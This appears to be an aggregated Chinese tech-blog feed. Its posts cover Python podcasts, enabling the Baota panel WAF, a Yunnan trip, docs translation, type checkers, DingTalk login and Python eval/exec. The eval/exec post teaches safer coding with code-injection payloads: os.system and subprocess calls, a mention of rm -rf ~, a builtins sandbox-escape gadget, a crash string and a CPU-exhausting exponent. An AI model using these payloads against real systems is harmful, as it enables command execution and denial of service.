  • SQLAlchemy and data access in Python[7] 让我理解了对象关系映射库 SQLAlchemy 的知识及其演变过程。这期节目采访了 SQLAlchemy 的作者,主持人 Michael Kennedy 根据他对 SQLAlchemy 的深入研究和使用经验提出了很多问题。
  • Python past, present, and future with Guido van Rossum[8] 涵盖了 Python 的历史、Guido 创造并持续三十年来发展这门语言的动机。有趣的事实:当播客主持人迈克尔·肯尼迪向我征询话题时,我贡献了一个问题,即 Python 的开源是否是促使它成功的原因?
  • Deploying Python Web Applications[9] 剧透预警:这是我在 Talk Python to Me 上的一期节目,介绍了 Python Web 应用程序部署的工作原理。
  • Python Bytes 栏目在第 39 集中广泛地讨论了 object-relational mappers (ORMs)[10] ,其中不少讨论是基于 Full Stack Python 上的文章。谢谢大家对我们提出的反馈与建议。
  • Python at Netflix[11] 出自 Talk Python to Me ,通过一个非常棒的视角,介绍了 Python 是怎么运用于这家最大的网络流媒体公司,以及如何适应它们的多语言组织。
  • 另一个很棒的 Talk Python to Me 节目, Python in Finance[12],介绍了 Python 在金融行业中的广泛用途:股票交易、定量分析和数据分析。如果你想知道像对冲基金这样的不透明的私营企业是如何利用 Python 赚取(大量)钱财的,一定要听听这个。

通用软件开发的播客

这些播客主要探讨的是软件开发相关的主题,但经常也会涉及 Python 的内容。聆听和学习这些播客,你将会成为更加优秀的软件开发者。
  • Software Engineering Daily[13] 令人难以置信的是每天邀请不同的开发者嘉宾,谈论话题非常广泛,与开发相关。
  • All things Git[14] 教人如何使用、构建及将 Git 用于工作,每两周一更。
  • CodeNewbie[15] 采访新入行的开发者,谈论为什么他们要从事编程工作,以及他们的工作内容。该栏目也会采访一些经验丰富的、打造了知名项目的开发者。
  • Developer on Fire[16] 采访程序员、架构师和测试人员,讲述他们成功、失败和卓越的故事。
  • Command_line Heroes[17] 涵盖操作系统级的主题以及 DevOps。
  • Embedded.fm[18] 涵盖嵌入式系统和硬件黑客攻击。
  • The Changelog[19] 周更播客,关于常规软件开发的问题。
  • Full Stack Radio[20] 虽与 Full Stack Python 无关,但值得关注!
  • Exponent[21] 不是一个软件开发的播客,但它以深入的方式揭示了企业的战略和技术,使我能够更好地理解企业在构建和发布软件时所做出的决策。我听了每一集(以 1.5 倍速),非常推荐每周花 45 到 60 分钟,听 Ben Thompson 和 James Allworth 深入讨论一个主题。
  • Test Talks[22] 每周考察一个软件测试的主题,通常会特邀一位钻研该领域的嘉宾。
  • The Cloudcast[23] 聚焦于云计算和 DevOps 的相关主题。

数据科学与数据分析的播客

Python 不仅是数据科学社区的核心编程语言,而且几乎在每个使用数据分析的组织中都发挥着重要作用。 以下播客广泛地涵盖数据科学,并经常涉及到 Python 生态系统中的特定的工具。
  • DataFramed[24] 是一个数据科学播客,内容涵盖 Python 标准库,以及数据分析者感兴趣的其它内容。
  • Data Skeptic[25] 涵盖数据科学、统计、机器学习、人工智能,以及“科学怀疑论”(scientific skepticism)等内容。
  • Data stories[26] 是一个关于数据可视化的播客。
  • Partially Derivative[27] 是一个关于机器学习、人工智能和数据行业的播客,在 2017 年底已停播,节目列表包含了大量的内容。

References

[1] Talk Python to Me: https://talkpython.fm/
[2] Podcast.__init__: http://podcastinit.com/
[3] Python Bytes: https://pythonbytes.fm/
[4] Test and Code Podcast: http://pythontesting.net/test-podcast/
[8] Python past, present, and future with Guido van Rossum: https://talkpython.fm/episodes/show/100/python-past-present-and-future-with-guido-van-rossum
[13] Software Engineering Daily: https://softwareengineeringdaily.com/
[14] All things Git: https://www.allthingsgit.com/
[16] Developer on Fire: http://developeronfire.com/
[18] Embedded.fm: http://embedded.fm/
[19] The Changelog: https://changelog.com/
[20] Full Stack Radio: http://www.fullstackradio.com/
[21] Exponent: http://exponent.fm/
[23] The Cloudcast: http://www.thecloudcast.net/
[25] Data Skeptic: https://www.dataskeptic.com/
[26] Data stories: http://datastori.es/
[27] Partially Derivative: http://partiallyderivative.com

April 12, 2019 12:00 AM

April 10, 2019

anji66

宝塔linux面板6.0+免费版启用waf防火墙

宝塔面板自从升级到6.0+免费版以后,宝塔官方为推广收费waf插件,将原本功能中的过滤器给屏蔽掉了,但其实过滤器的功能都完整的包含在了6.0的版本中。只需要简单几步即可启用原5.0中的过滤器。而这个过滤器事实上就是一个waf防火墙,并且源自知名的ngx_lua_waf。


一、启用隐藏的waf。

进入宝塔面板,软件管理,nginx设置,配置修改,http段中,删掉include luawaf.conf;前面的#号,保存一下。重启nginx,即可使用waf了。


二、查看和设置waf过滤规则。

进入面板,文件,根目录/www/server/nginx/waf中的三个文件。config.lua是waf的配置文件。init.lua是waf的初始化脚本。waf.lua是运行脚本。配置文件中几个配置名,从命名规则就很容易理解配置项是什么功能。我就不说了,图上的是我目前用配置规则。

1.jpg

过滤规则在根目录/www/server/panel/vhost/wafconf下面,文件名上就能理解每个文件对应的管控范围。建议用默认的吧,别改了,已经满齐全的了,如果你有更好的,可以在规则上补加。returnhtml这个文件是触发过滤器后的返回页面,为了防止千篇一律,可以个性化设置一下,html和css的基础就够了。


三、查看拦截日志。

日志是在根目录/www/wwwlogs/waf下面,可以下载到本地来看,也可以通过日志分析软件进行分析。西枫里这两天没吊事心血来潮翻了下拦截日志,随便取了几个IP百度了一下,发现怎么都是阿里云的IP。第一直觉就是过滤器获取了CDN的IP,因为西枫里博客是部署了CDN的,所以waf是没有获取到真实IP,拿到的全部是回源时候的CDN的IP。


四、修改过滤器的IP获取规则。

拿到的都是CDN的IP就没有太大意义了,所以必须拿到真实IP,所以得改造一下获取规则。在根目录/www/server/nginx/waf下面,找到init.lua文件,点编辑,第18行是IP=ngx.var.remote_addr。很显然,直接去拿remote_addr的IP来用了,那些被CDN代理后的IP全被隐匿了。西枫里从没写过Lua的脚本,所以大致看了一下整个文件的脚本,我看语法和ASP很类似,于是依葫芦画瓢,把函数getClientIp给改了一下,如下图。改完,就去翻了下菜鸟教程中的Lua语法,发现竟然没写错,这还真应了那句瞎猫碰见死耗子了。改完,保存后,7P群初中生说HTTP_X_FORWARDED_FOR这个应该取第一个IP吧,逗号分割的后面都是代理IP。也对,不过写完我就直接保存重启nginx后,测试了一下,好像是可以能获取到真实IP的,我也就懒得去改了,毕竟转换数组,还得去翻Lua的语法教程。算了,就这样吧。

2.jpg

好了,至此就可以完整的使用宝塔提供的这个隐藏福利了。


by 西枫里 at April 10, 2019 03:51 PM

April 08, 2019

pythoncat

8 天云南之旅,4 个文字见闻

8 天的云南之旅结束了。我本想细细地写一篇游记的,但开了个头,写下的抱怨性内容太多了,也就打消了念头。
这里分享几个与文字相关的见闻。
(1)东巴文
上图摄于丽江,图中文字是东巴文。
直接摘录一段维基百科吧:

东巴文是一种兼备表意和表音成分的图画象形文字。其文字形态十分原始,甚至比甲骨文的形态还要原始,属于文字起源的早期形态,但亦能完整纪录典藏。

东巴文是居于西藏东部及云南省北部的少数民族纳西族所使用的文字。东巴文源于纳西族的宗教典籍兼百科全书的《东巴经》。由于这种文字由东巴(智者)所掌握,故称东巴文。

东巴文有2223个单字,词语丰富,能够表达细腻的情感,能记录复杂的事件,亦能写诗作文。东巴文是世界上极少数依旧活着的象形文字,被誉为文字的“活化石”。2003年,东巴古籍被联合国教科文组织列入世界记忆名录,并进行数码记录。

2005年,丽江市东巴文化研究院开始进行东巴文国际标准化工作,系统整理东巴文的书写、语音和语义等。但在同年贵州省第二次乡村旅游论坛上,清华大学社会学系教授张小军提出“由于过度商业开发,东巴文正面临灭绝境地。”但保护东巴文的工作仍在进行当中。

在丽江古城中,有几家东巴文化书店,店内有售东巴文字典。可惜忘了拍照。
(2)削价
通常我们见到的是“降价”、“打折”的叫法,这次在大理的喜洲,我却无意中发现店家用了“削价”这个词。
削价也有降低价格的意思,尽管是初次见到,但我们应该都能无误地理解它。
只是在一座古城中,在一家现代化的服装店内,我无意中瞥见了它,突然品出了满满的况味。
(3)善男子与善女人
在大理的苍山上有座寺(忘了名字),它的厕所标识如下:
向来知道“善男信女”一词,指的是信佛的男男女女。
这“善男子”、“善女人”的叫法略有不同,所指是否大不同呢?
且不查了,不管何种意思,用它们来指示厕所,实在太怪了。
“不善”的男子和女人就不配进去上厕所么?或者说,上了这寺里的厕所,出来的就是善男子善女人了?劝人向善,不问何处。
文字怪,因为没见过这种用途。可是品品,它不落俗套,又颇有妙意。
一个趣味对比,丽江古城的某处墙角:
(4)粑粑与饵
“粑粑”这个词,在云南之旅前,我只知道它的一个意思:粪便。
在云南,原来它是一种特色小吃,一种炭火烘烤的饼。
喜洲破酥粑粑,据他们宣传,上过《舌尖上的中国》。
百度百科显示,作为食物时,它的读音是”巴巴”,即第一声。
粑字,应该有其古老的起源,只是那种饮食习惯离我(离大多数人)太远了,现代的变异引申意反而“鸠占鹊巢”了。
在昆明老街,我还吃到了一种小吃:粑肉饵丝。据店里宣传册说,他们复原了大理巍山的古法。这我们无从考证,但相比云南特色的米线、各地的面或粉,它的风味确实别具特色。
《说文解字》的解释:“饵,粉饼也”。饵丝和饵块,都是云南常见的小吃,在昆明最多。与喜洲的粑粑相比,饵的形式更多样,已经不再是“粉饼”了。
前面所说的粑肉饵丝,只有饵丝,并没有粑粑,粑似乎在某个时候“转化”成了饵,只在一个古老的食物名字中留下些联系。
PS:豌豆正在写她的游记,敬请期待。

April 08, 2019 12:00 AM

March 30, 2019

pythoncat

别开心太早,Python 官方文档的翻译差远了

近几天,很多公众号发布了 Python 官方文档的消息。然而,一个特别奇怪的现象就发生了,让人啼笑皆非。
Python 文档的中文翻译工作一直是“默默无闻”,几个月前,我还吐槽过这件事《再聊聊Python中文社区的翻译》,当时我们的进度是 10.3%,远远落后于日本和法国,甚至落后于巴西!
这次所谓的中文版,当然是未完成翻译的残品。刚查了下,整体进度是 19.7%。
有的公众号在发布消息的时候,说明了这不是官宣、不是正式发布版,还指出了中文版的访问地址是隐藏入口。这都是忠于事实的。
然而,怪异的事情就在于,还有一些公众号在发布时,不知怎么误传,这个消息变成了官方正式发布、全部翻译完成、激动人心期盼已久,至于这个隐藏入口跳转问题、下载的文档为何是英文版的问题,则完全无法解释。这带来了极大的误导。
由于曾搜集过 PEP 文档的翻译,我无意中也了解到关于翻译官方文档的一些情况。有以下几个现状吧:
1、人员分散,缺乏核心。就我所见,在V站、华蟒邮件组、简书、知乎,分别有不同的人发起过翻译召集或者咨询,然而应者无几,并没有形成过足够大的核心组织。
2、官方的翻译?Python 官方在 2017 年的 PEP-545 中推出了一种翻译模式,各国语言的翻译在协作平台Transifex 上进行。实际上,这才是官方认可的版本,也是最终发布的依据。前文说的进度,就是指在这个平台上的进度。
3、野生的翻译?所谓野生,这里指的是不在Transifex 上的翻译。网上能看到有人零星地翻译了一些部分,但成果没有合入到官方平台上。社区内的译者还是挺多的,能力也有,只是太分散了。邮件组里就有位大佬,他说翻译过 40 多个标准库以及 C 模块的文档,但懒得组织。有人尝试组织过,时间久远的不说,就在去年夏天,某位在 PHP 界知名的站长开了个 Python 社区,召集了一批译者。他们译出了 Python 3.7 官方文档的入门教程部分,然而,后续内容的计划,似乎被放弃了。
关于对待翻译的态度,似乎多数人表示:感兴趣,但是时间少,希望有人牵头组织,可以参与作贡献。我本人也怀着同样的想法。作为参与者、见证者、沾光者就好了,谁愿意花费那么多精力,承担重任,周旋策划,最后可能还讨不到好呢?
写文章是重口难调,翻译文档更是如此,碰上质疑翻译水平的,还可商榷一下,而遇到下面这种杠精,只能是破坏心情。
前面提到的那位站长,提出在他的社区维护一份长久维护的版本。事实上,他们真的做出了点实事,除了入门教程,还完成了两本经典书籍的翻译。然而,他们也招到了非议:不当的“官方文档”措辞、不合入官方使用的平台、网站的商业化运营…
空谈的人总是有他们的理,不对事情做贡献,还无视别人的贡献。诚然,宣称“官方”中文文档,确实不妥,这只是个人/社区的行为,改正就好了;至于合入官方的途径,只需有翻译成果,也不难做到;最后,一个站点接些贴片广告,哪有什么不妥?
我所了解到的社区翻译情况,大致如上。
总体上,分裂分散现象严重,随性自由之处跟 Python 这语言倒挺像,而各怀能力各出成绩的现象,也跟为数众多的三方模块神似。
也有默默在做事的人。从 4 个月前的 10% ,增长到现在的 20%,我们的翻译进度暴涨,这背后不知有几人在持续作出贡献?而他们还不为人知。
距离官方文档全部译出,还有大步路要走,现实情况得认清。
我总体上是乐观的。所以,最后聊个题外话。
这几天,有个热得不行的话题——996.ICU ,才仅仅一周,Github star 数已经破 10 万,绝对创造纪录了。程序员发起的活动,就是有如此大的力量。
就在本文写作过程中,Python 之父也给了这个项目 star ,而且发推声援。
在官方文档的翻译事情上,或许我们是有点脱轨了,不过不要紧,在使用全球最大的同性交友平台上,我们是与国际接轨的。
还有啊,等过完了愚人节,我们还有个节日也是与国际接轨的——国际劳动节,纪念 1886 年芝加哥工人大罢工,确立每日 8 小时工作制的节日。
相关链接:

March 30, 2019 12:00 AM

March 28, 2019

anji66

钉钉微应用开发免登流程

公司将办公协同基本上都搬到钉钉线上来了,偶有部门个性的功能,钉钉没有合适的应用可以解决,所以只能自己开发系统解决。钉钉企业内部应用分E应用和微应用,E应用说白了就是小程序,微应用是H5页面。如果公司内部系统全接口开发的,并且微信小程序有开发经验,E应用首选。内部系统是传统模式那就微应用吧。我们公司没有成体系的OA系统,所以就针对部分特殊需求单开吧,微应用更快。


一、申请企业内部应用。

先进钉钉开放平台https://open.dingtalk.com,进入应用开发栏目,微应用管理,创建企业内部应用,设置应用名称,logo、简介、应用首页,pc首页,后台地址,服务器信息等。企业内部应用是不需要钉钉审核的。如果是开发商,需要创建第三方应用,这个是需要钉钉审核的。内部应用创建完成后就会得到AgentId、AppKey和AppSecret。进入应用权限管理中社情对应的权限,默认开通的基础权限,如果需要审批、代办等权限需要在下面权限列表里面单独申请,不过还在不需要钉钉审核,即开即用。

二、钉钉免登流程。

钉钉的文档着实没体系,东一个链接西一个链接的。总结下来免登流程分四步:1、前端获取钉钉免登授权码code;2、后端获取access_token;3、使用授权码code和access_token换取用户userid;4、通过access_token和userid换去用户详情userinfo。

三、实现免登实现。

1、获取授权码code。

首先页面引入JSAPI。

carbon.jpg

其次调用JSAPI组件。

carbon1.jpg

2、后台获取access_token

access_token很简单,只要把AppKey和AppSecret传到接口地址上去,就能拿到。鉴于钉钉后端都是接口请求的,建议把curl提取出来做个函数,接口域名、路径、请求方式、传参全部参数化,调用统一的curl就好了。


3、换取userId。

首先把前台调用JSAPI组件的结果传到后台,我用AJAX干的。JSAPI组件初始化反馈的结果已经是一个标准的json格式,不用转换直接传后台就好。


再调用钉钉的获取userId接口获取userId,方法和获取access_token的方法一致,参数就是code和access_token。


4、换取userInfo。

调用钉钉获取userInfo接口获取userInfo,方法和前面一致,参数是access_token和userId。


四、注意事项。

授权码code是每次请求都不一样,单次请求的数据5分钟有效,所以没必要缓存,直接用一次调一次。access_token有效期7200秒,自动续期。缓不缓存根据需要自便吧


by 西枫里 at March 28, 2019 05:46 AM

March 27, 2019

pythoncat

介绍几款 Python 类型检查工具

近日,微软在 Github 上开源了一个 Python 静态类型检查工具:pyright ,引起了社区内的多方关注。
微软在开源项目上的参与力度是越来越大了,不说收购 Github 这种大的战略野心,只说它家开源的 VS Code 编辑器,在猿界已经割粉无数,连我们 Python 圈的红人 Kenneth Reitz (多个开源项目的作者,包括 requests、requests-html、responder等)都对它赞不绝口。
如今开源的 Pyright ,口碑还不错,那我们就来看看它有啥本事,顺便再介绍其它几款类型检查工具。
众所周知,Python 是一门动态类型语言,在运行期才知道变量的实际类型。这本就是动态语言的特色,然而在团队合作或大型项目上,维护的代价也不可避免,俗话说的是:“动态一时爽,重构火葬场 ”。
早在 2006 年的 PEP-3107,Python 就推出了函数注解的功能,最终落在 3.0 版本实现。而到了 3.5 版本,Python 继续引入了静态类型检查的语法(即 PEP-484,type hints)。2014 年的 PEP-483 更是以《The Theory of Type Hints》为题,做出了理论上的归纳。后来,又陆续提出了 PEP-526、PEP-544,类型检查的规范逐渐丰富。
类型检查的好处是及早检查,提前发现类型的错误,增强代码的一致性与可维护性。(还有防止脱发,喵)
# 不加检查
def greeting(name):
    return 'Hello ' + name

# 添加检查
def greeting(name: str) -> str:
    return 'Hello ' + name
如上例所示,增加检查后,可以在编译期就判断入参和返回值是否是字符串类型。
在微软推出 pyright 之前,主流的静态检查工具有三款:官方的mypy 、Google 出的pytype 、Facebook 出的pyre-check 。三足鼎立的局面要被打破了。
pyright 的文档宣称它有如下特点:
  • 速度快。相较于 mypy 及其它用 Python 写的检查工具,它的速度是 5 倍甚至更多。
  • 不依赖 Python 环境。它用 TypeScript 写成,运行于 node 上,不依赖 Python 环境或第三方包。
  • 可配置性强。支持自由地配置,支持指定不同的运行环境(PYTHONPATH 设置、Python 版本、平台目标)。
  • 检查项齐全。支持类型检查及其它语法项的检查(如 PEP-484、PEP-526、PEP-544),以及函数返回值、类变量、全局变量的检查,甚至可以检查条件循环语句
  • 命令行工具。它包含两个 VS Code 插件:一个命令行工具和一个语言服务器协议(Language Server Protocol)
  • 内置 Stubs 。使用的是 Typeshed 的副本。(注:使用静态的 pyi 文件,检查内置模块、标准库和三方件 )
  • 语言服务特性。悬停提示信息、符号定义的跳转、实时的编辑反馈
就此而言,不可谓不强大。事实上,pyright 是“站在了巨人的肩膀上”,它的各项功能似乎都继承自其它几位前辈。
接着看官方的 mypy ,它由“Python 之父” Guido van Rossum 亲自参与开发,是最主流的选择,推出得早,用户基数大,文档与社区经验也最丰富。
在集成 IDE 方面,所有主流的编辑器都支持:PyCharm、Vim、Emacs、Sublime Text、VS Code、Atom…在业界经验上,Instagram 和 Dropbox 的项目从 py2 迁移到 py3 ,就是用的它来做保障。
接着看谷歌的 pytype ,据文档描述,它可以:
  • 标记常见错误,如拼写错误、函数调用错误
  • 加强自定义的类型注解
  • 支持对 pyi 文件生成类型注解
查看文档,我发现它有个功能还挺人性化的,即“错误降噪 ”,对于那些不必修改的错误,可以添加注释,来消除类型检查。
此外,还有一个考虑也不错,为了写类型检查,模块中可能会额外引入其它的模块,对于后者,pytype 有办法隐藏它,只在做类型检查时才加载。
最后,要介绍的是脸书的 pyre-check,它是去年开源的,也曾收获一片好评(说不定正是因为它,微软才上马了 pyright 项目也说不定)。
基本的功能点大同小异,不过它也是有亮点的。pyre-check 可集成Watchman 模块,该“观察者”会监听代码文件,跟踪所做的修改。微软的 pyright 有个 watch 模式,应该是吸收了这点,而且更加好用(因为不需要额外安装 Watchman 和其它依赖)。
pyre-check 还有个亮点,它有个query 参数,可以对源码做局部区域性的检查,例如查询某行中一个表达式的类型、查询一个类的全部方法并返回成列表,等等,这样可以避免做全面的检查。
4 种类型检查工具介绍完毕,下面是一份概要对比:
至于它们的性能如何,是否真如 pyright 所说,它的速度是其它几个的 5 倍呢?感兴趣的同学们可以去试试。有什么使用体会,欢迎留言与我交流。
项目地址:

March 27, 2019 12:00 AM

March 24, 2019

pythoncat

深度辨析 Python 的 eval() 与 exec()

Python 提供了很多内置的工具函数(Built-in Functions),在最新的 Python 3 官方文档中,它列出了 69 个。
大部分函数是我们经常使用的,例如 print()、open() 与 dir(),而有一些函数虽然不常用,但它们在某些场景下,却能发挥出不一般的作用。内置函数们能够被“提拔”出来,这就意味着它们皆有独到之处,有用武之地。
因此,掌握内置函数的用法,就成了我们应该点亮的技能。
在《Python进阶:如何将字符串常量转为变量?》这篇文章中,我提到过 eval() 和 exec() ,但对它们并不太了解。为了弥补这方面知识,我就重新学习了下。这篇文章是一份超级详细的学习记录,系统、全面而深入地辨析了这两大函数。

1、eval 的基本用法

语法:eval(expression, globals=None, locals=None)
它有三个参数,其中 expression 是一个字符串类型的表达式或代码对象,用于做运算;globals 与 locals 是可选参数,默认值是 None。
具体而言,expression 只能是单个表达式,不支持复杂的代码逻辑,例如赋值操作、循环语句等等。(PS:单个表达式并不意味着“简单无害”,参见下文第 4 节)
globals 用于指定运行时的全局命名空间,类型是字典,缺省时使用的是当前模块的内置命名空间。locals 指定运行时的局部命名空间,类型是字典,缺省时使用 globals 的值。两者都缺省时,则遵循 eval 函数执行时的作用域。值得注意的是,这两者不代表真正的命名空间,只在运算时起作用,运算后则销毁。
x = 10

def func():
    y = 20
    a = eval('x + y')
    print('a: ', a)
    b = eval('x + y', {'x': 1, 'y': 2})
    print('x: ' + str(x) + ' y: ' + str(y))
    print('b: ', b)
    c = eval('x + y', {'x': 1, 'y': 2}, {'y': 3, 'z': 4})
    print('x: ' + str(x) + ' y: ' + str(y))
    print('c: ', c)

func()
输出结果:
a:  30
x: 10 y: 20
b:  3
x: 10 y: 20
c:  4
由此可见,当指定了命名空间的时候,变量会在对应命名空间中查找。而且,它们的值不会覆盖实际命名空间中的值。

2、exec 的基本用法

语法:exec(object[, globals[, locals]])
在 Python2 中 exec 是个语句,而 Python3 将其改造成一个函数,就像 print 一样。exec() 与 eval() 高度相似,三个参数的意义和作用相近。
主要的区别是,exec() 的第一个参数不是表达式,而是代码块,这意味着两点:一是它不能做表达式求值并返回出去,二是它可以执行复杂的代码逻辑,相对而言功能更加强大,例如,当代码块中赋值了新的变量时,该变量可能 在函数外的命名空间中存活下来。
>>> x = 1
>>> y = exec('x = 1 + 1')
>>> print(x)
>>> print(y)
2
None
可以看出,exec() 内外的命名空间是相通的,变量由此传递出去,而不像 eval() 函数,需要一个变量来接收函数的执行结果。

3、一些细节辨析

两个函数都很强大,它们将字符串内容当做有效的代码执行。这是一种字符串驱动的事件 ,意义重大。然而,在实际使用过程中,存在很多微小的细节,此处就列出我所知道的几点吧。
常见用途:将字符串转成相应的对象,例如 string 转成 list ,string 转成 dict,string 转 tuple 等等。
>>> a = "[[1,2], [3,4], [5,6], [7,8], [9,0]]"
>>> print(eval(a))
[[1, 2], [3, 4], [5, 6], [7, 8], [9, 0]]
>>> a = "{'name': 'Python猫', 'age': 18}"
>>> print(eval(a))
{'name': 'Python猫', 'age': 18}

# 与 eval 略有不同
>>> a = "my_dict = {'name': 'Python猫', 'age': 18}"
>>> exec(a)
>>> print(my_dict)
{'name': 'Python猫', 'age': 18}
eval() 函数的返回值是其 expression 的执行结果,在某些情况下,它会是 None,例如当该表达式是 print() 语句,或者是列表的 append() 操作时,这类操作的结果是 None,因此 eval() 的返回值也会是 None。
>>> result = eval('[].append(2)')
>>> print(result)
None
exec() 函数的返回值只会是 None,与执行语句的结果无关,所以,将 exec() 函数赋值出去,就没有任何必要。所执行的语句中,如果包含 return 或 yield ,它们产生的值也无法在 exec 函数的外部起作用。
>>> result = exec('1 + 1')
>>> print(result)
None
两个函数中的 globals 和 locals 参数,起到的是白名单的作用,通过限定命名空间的范围,防止作用域内的数据被滥用。
conpile() 函数编译后的 code 对象,可作为 eval 和 exec 的第一个参数。compile() 也是个神奇的函数,我翻译的上一篇文章《Python骚操作:动态定义函数》就演示了一个动态定义函数的操作。
吊诡的局部命名空间:前面讲到了 exec() 函数内的变量是可以改变原有命名空间的,然而也有例外。
def foo():
    exec('y = 1 + 1\nprint(y)')
    print(locals())
    print(y)

foo()
按照前面的理解,预期的结果是局部变量中会存入变量 y,因此两次的打印结果都会是 2,然而实际上的结果却是:
2
{'y': 2}
Traceback (most recent call last):
...(略去部分报错信息)
    print(y)
NameError: name 'y' is not defined
明明看到了局部命名空间中有变量 y,为何会报错说它未定义呢?
原因与 Python 的编译器有关,对于以上代码,编译器会先将 foo 函数解析成一个 ast(抽象语法树),然后将所有变量节点存入栈中,此时 exec() 的参数只是一个字符串,整个就是常量,并没有作为代码执行,因此 y 还不存在。直到解析第二个 print() 时,此时第一次出现变量 y ,但因为没有完整的定义,所以 y 不会被存入局部命名空间。
在运行期,exec() 函数动态地创建了局部变量 y ,然而由于 Python 的实现机制是“运行期的局部命名空间不可改变 ”,也就是说这时的 y 始终无法成为局部命名空间的一员,当执行 print() 时也就报错了。
至于为什么 locals() 取出的结果有 y,为什么它不能代表真正的局部命名空间?为什么局部命名空间无法被动态修改?可以查看我之前分享的《Python 动态赋值的陷阱》,另外,官方的 bug 网站中也有对此问题的讨论,查看地址:https://bugs.python.org/issue4831
若想把 exec() 执行后的 y 取出来的话,可以这样:z = locals()['y'] ,然而如果不小心写成了下面的代码,则会报错:
def foo():
    exec('y = 1 + 1')
    y = locals()['y']
    print(y)
    
foo()

#报错:KeyError: 'y'
#把变量 y 改为其它变量则不会报错
KeyError 指的是在字典中不存在对应的 key 。本例中 y 作了声明,却因为循环引用而无法完成赋值,即 key 值对应的 value 是个无效值,因此读取不到,就报错了。
此例还有 4 个变种,我想用一套自恰的说法来解释它们,但尝试了很久,未果。留个后话吧,等我想明白,再单独写一篇文章。

4、为什么要慎用 eval() ?

很多动态的编程语言中都会有 eval() 函数,作用大同小异,但是,无一例外,人们会告诉你说,避免使用它。
为什么要慎用 eval() 呢?主要出于安全考虑,对于不可信的数据源,eval 函数很可能会招来代码注入的问题。
>>> eval("__import__('os').system('whoami')")
desktop-fa4b888\pythoncat
>>> eval("__import__('subprocess').getoutput('ls ~')")
#结果略,内容是当前路径的文件信息
在以上例子中,我的隐私数据就被暴露了。而更可怕的是,如果将命令改为rm -rf ~ ,那当前目录的所有文件都会被删除干净。
针对以上例子,有一个限制的办法,即指定 globals 为 {'__builtins__': None} 或者 {'__builtins__': {}}
>>> s = {'__builtins__': None}
>>> eval("__import__('os').system('whoami')", s)
#报错:TypeError: 'NoneType' object is not subscriptable
__builtins__ 包含了内置命名空间中的名称,在控制台中输入 dir(__builtins__) ,就能发现很多内置函数、异常和其它属性的名称。在默认情况下,eval 函数的 globals 参数会隐式地携带__builtins__ ,即使是令 globals 参数为 {} 也如此,所以如果想要禁用它,就得显式地指定它的值。
上例将它映射成 None,就意味着限定了 eval 可用的内置命名空间为 None,从而限制了表达式调用内置模块或属性的能力。
但是,这个办法还不是万无一失的,因为仍有手段可以发起攻击。
某位漏洞挖掘高手在他的博客中分享了一个思路,令人大开眼界。其核心的代码是下面这句,你可以试试执行,看看输出的是什么内容。
>>> ().__class__.__bases__[0].__subclasses__()
关于这句代码的解释,以及更进一步的利用手段,详见博客。(地址:https://www.tuicool.com/articles/jeaqe2n)
另外还有一篇博客,不仅提到了上例的手段,还提供了一种新的思路:
#警告:千万不要执行如下代码,后果自负。
>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})
这行代码会导致 Python 直接 crash 掉。具体分析在:https://segmentfault.com/a/1190000011532358
除了黑客的手段,简单的内容也能发起攻击。像下例这样的写法, 将在短时间内耗尽服务器的计算资源。
>>> eval("2 ** 888888888", {"__builtins__":None}, {})
如上所述,我们直观地展示了 eval() 函数的危害性,然而,即使是 Python 高手们小心谨慎地使用,也不能保证不出错。
在官方的 dumbdbm 模块中,曾经(2014年)发现一个安全漏洞,攻击者通过伪造数据库文件,可以在调用 eval() 时发起攻击。(详情:https://bugs.python.org/issue22885)
无独有偶,在上个月(2019.02),有核心开发者针对 Python 3.8 也提出了一个安全问题,提议不在 logging.config 中使用 eval() 函数,目前该问题还是 open 状态。(详情:https://bugs.python.org/issue36022)
如此种种,足以说明为什么要慎用 eval() 了。同理可证,exec() 函数也得谨慎使用。

5、安全的替代用法

既然有种种安全隐患,为什么要创造出这两个内置方法呢?为什么要使用它们呢?
理由很简单,因为 Python 是一门灵活的动态语言。与静态语言不同,动态语言支持动态地产生代码,对于已经部署好的工程,也可以只做很小的局部修改,就实现 bug 修复。
那有什么办法可以相对安全地使用它们呢?
ast 模块的 literal() 是 eval() 的安全替代,与 eval() 不做检查就执行的方式不同,ast.literal() 会先检查表达式内容是否有效合法。它所允许的字面内容如下:

strings, bytes, numbers, tuples, lists, dicts, sets, booleans, 和 None

一旦内容非法,则会报错:
import ast
ast.literal_eval("__import__('os').system('whoami')")

报错:ValueError: malformed node or string
不过,它也有缺点:AST 编译器的栈深(stack depth)有限,解析的字符串内容太多或太复杂时,可能导致程序崩溃。
至于 exec() ,似乎还没有类似的替代方法,毕竟它本身可支持的内容是更加复杂多样的。
最后是一个建议:搞清楚它们的区别与运行细节(例如前面的局部命名空间内容),谨慎使用,限制可用的命名空间,对数据源作充分校验。
关联阅读:

March 24, 2019 12:00 AM

March 18, 2019

pythoncat

Python 骚操作:动态定义函数

作者:Philip Trauner
译者:豌豆花下猫
基于 MIT 许可协议
在 Python 中,没有可以在运行时简化函数定义的语法糖。然而,这并不意味着它就不可能,或者是难以实现。
from types import FunctionType

foo_code = compile('def foo(): return "bar"', "<string>", "exec")
foo_func = FunctionType(foo_code.co_consts[0], globals(), "foo")

print(foo_func())
输出:
bar

剖析

逐行检视代码,你会发现语言/解释器的屏障是多么脆弱。
>>> from types import FunctionType
Python 文档通常不会列出那些非用于手动创建的类的特征(这是完全合理的)。有三种方法可以解决这个问题:help()、inspect(无法查看内置方法)、以及最后的解决方案,即查看 CPython 源代码。
在本例中,help() 与 inspect 都可以完成工作,但是查看实际的源代码,则会揭示出关于数据类型的更多细节。
>>> from inspect import signature
>>> signature(FunctionType)
<Signature (code, globals, name=None, argdefs=None, closure=None)>

1. code

内部是一个PyCodeobject ,作为types.CodeType 对外开放。非内置方法拥有一个__code__ 属性,该属性保存了相应的代码对象。利用内置的 compile() 方法,可以在运行期创建types.CodeType 对象。

2. globals

如果一个函数引用的变量不是在局部定义的,而是作为参数转入、由默认参数值提供、或者通过闭包上下文提供,则它会在 globals 字典中查找。
内置的 globals() 方法会返回一个对当前模块的全局符号表(global symbol table)的引用 ,因此能被用来提供一个总是与当前表的状态相一致的字典。传入任意其它的字典也是可以的(FunctionType((lambda: bar).__code__, {“bar” : “baz”}, “foo”)() == “baz”)。

3. name(可选)

控制所返回的函数的__name__ 属性。只真正对 lambdas 有用(由于匿名性,它们通常没有名称),并且重命名函数。
